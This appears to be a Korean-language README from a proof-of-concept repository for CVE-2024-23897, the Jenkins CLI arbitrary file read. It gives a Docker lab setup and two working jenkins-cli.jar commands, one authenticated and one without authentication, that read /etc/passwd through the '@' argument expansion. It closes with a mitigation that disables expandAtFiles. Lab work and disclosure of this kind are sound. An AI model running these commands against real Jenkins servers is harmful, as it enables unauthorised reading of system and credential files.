
이 git에서 CVE-2024-23897에 대한 모든 정보를 찾을 수 있습니다.
이 문제는 CVE 식별자 CVE-2024-23897로 지정되었으며, 내장 명령줄 인터페이스를 통한 임의 파일 읽기 취약점으로 설명되었습니다. 이 명령 파서에는 인수에서 @ 문자 다음에 파일 경로가 오는 부분을 파일의 내용으로 대체하는 기능(expandAtFiles)이 있습니다. 이 기능은 기본적으로 활성화되어 있으며, Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 이전 버전에서는 이를 비활성화하지 않습니다.
이 PoC를 위해, 저는 취약점 익스플로잇을 테스트하기 위해 Docker로 Jenkins 2.426.2를 설치했습니다.
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
사용자와 비밀번호를 생성한 후, 공격 머신에 Jenkins CLI 클라이언트(jenkins-cli.jar)를 다운로드했습니다.
그런 다음, 익스플로잇 명령어를 작성했습니다. 이 명령어에는 Jenkins 사용자의 자격 증명이 필요합니다.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
또 다른 명령어는 인증 없이 파일의 첫 줄을 표시할 수 있습니다.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
이 취약점에 대응하려면 config.xml이라는 Jenkins 구성 파일로 이동해야 합니다(제 경우 Docker 컨테이너 내에 있으므로 컨테이너의 셸 모드로 전환합니다).
<expandAtFiles>false</expandAtFiles>
그리고 Jenkins를 재시작합니다:
service jenkins restart